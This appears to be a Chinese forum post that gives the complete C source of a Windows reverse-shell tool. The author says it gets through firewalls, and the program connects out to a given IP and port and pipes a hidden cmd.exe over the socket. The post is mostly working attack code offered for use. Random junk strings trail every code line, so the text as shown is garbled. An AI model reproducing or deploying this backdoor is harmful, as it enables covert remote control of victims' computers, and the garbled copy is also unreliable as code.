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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J+t51B(a  
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/* ============================== %w^*7Oi  
Rebound port in Windows NT ULt5Zi  
By wind,2006/7 zH~P-MqC  
===============================*/ MJiVFfYW  
#include ntH`\ )xi  
#include F2 B(PGa7  
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#pragma comment(lib,"wsock32.lib") 0 8)f  
\H .Cmm^I  
void OutputShell(); [@9S-$Xa  
SOCKET sClient; >s5}pkAv|e  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Az@@+?,%Y  
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void main(int argc,char **argv) $\ZWQct  
{ fJ8>nOh  
WSADATA stWsaData; Q`*U U82!  
int nRet; \C$e+qb~{  
SOCKADDR_IN stSaiClient,stSaiServer; In1{&sS  
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if(argc != 3) RVA ku  
{ Xb:* KeZq  
printf("Useage:\n\rRebound DestIP DestPort\n"); kKlNhP(  
return; -ZE YzZqY  
} </;e$fh`  
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WSAStartup(MAKEWORD(2,2),&stWsaData); l1T`[2  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8;pY-j #  
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stSaiClient.sin_family = AF_INET; G4c@v1#%.  
stSaiClient.sin_port = htons(0); *KNfPh#wi}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u)Kiwa  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8a*&,W  
{ 1av#u:jy~>  
printf("Bind Socket Failed!\n"); JL4E`  
return; 'nPI zK<v  
} =-Hhm($n  
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stSaiServer.sin_family = AF_INET; ?<jWEz=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s3sRMB2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 60|PVsmDm  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *0" ojfVn  
{ O>~@>/#  
printf("Connect Error!"); Q>4NUq  
return; JYWoQ[ZO#>  
} Q   
OutputShell(); c<Cf|W  
} p^ (Z  
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void OutputShell() |a03S Zx  
{ 5{(4%  
char szBuff[1024]; &S xF"pYV  
SECURITY_ATTRIBUTES stSecurityAttributes; Zq&'a_  
OSVERSIONINFO stOsversionInfo; fNi&r0/-t  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,ASNa^7/>  
STARTUPINFO stStartupInfo; v76P?[  
char *szShell; gw"SKp!]  
PROCESS_INFORMATION stProcessInformation;  d;>G  
unsigned long lBytesRead; 47(_5PFb#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ud+,/pE>FA  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m19\H  
stSecurityAttributes.lpSecurityDescriptor = 0; c/88|k  
stSecurityAttributes.bInheritHandle = TRUE; W#!AZ!  
WYF8?1dt +  
w/ ~\NI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I`oJOLV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d1_kw A2y  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ??aO3Vm{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QlvP[Jtr  
stStartupInfo.wShowWindow = SW_HIDE; I(7 GVYM  
stStartupInfo.hStdInput = hReadPipe; Pqx?0 f)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4z P"h0  
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GetVersionEx(&stOsversionInfo); Fc[vs52  
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switch(stOsversionInfo.dwPlatformId) \mLEwNhRY  
{ Es#:0KH].v  
case 1: '^m'r+B"  
szShell = "command.com";  Ps.xY;Y  
break; FVkl# Qy~  
default: 5uG^`H@X  
szShell = "cmd.exe"; ?@PSD\  
break; P9m  
} |pZ7k#%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); PeIi@0vA  
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send(sClient,szMsg,77,0); GU`q^q@Ea  
while(1) kwaZn~  
{ 3| w$gG;Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z[VrRT,\c  
if(lBytesRead) B.4e4%BBS  
{ }%}$h2:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o|d:rp!^  
send(sClient,szBuff,lBytesRead,0); l8(9?!C  
} jA{B G_  
else $k )K}U  
{ kF'9@*?J  
lBytesRead=recv(sClient,szBuff,1024,0); :0(^^6Q\  
if(lBytesRead<=0) break; 7L/LlO/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3pML+Y|ij  
} |LJv*  
} @TW:6v`  
BZhf/{h[@  
return; clyp0`,7  
}
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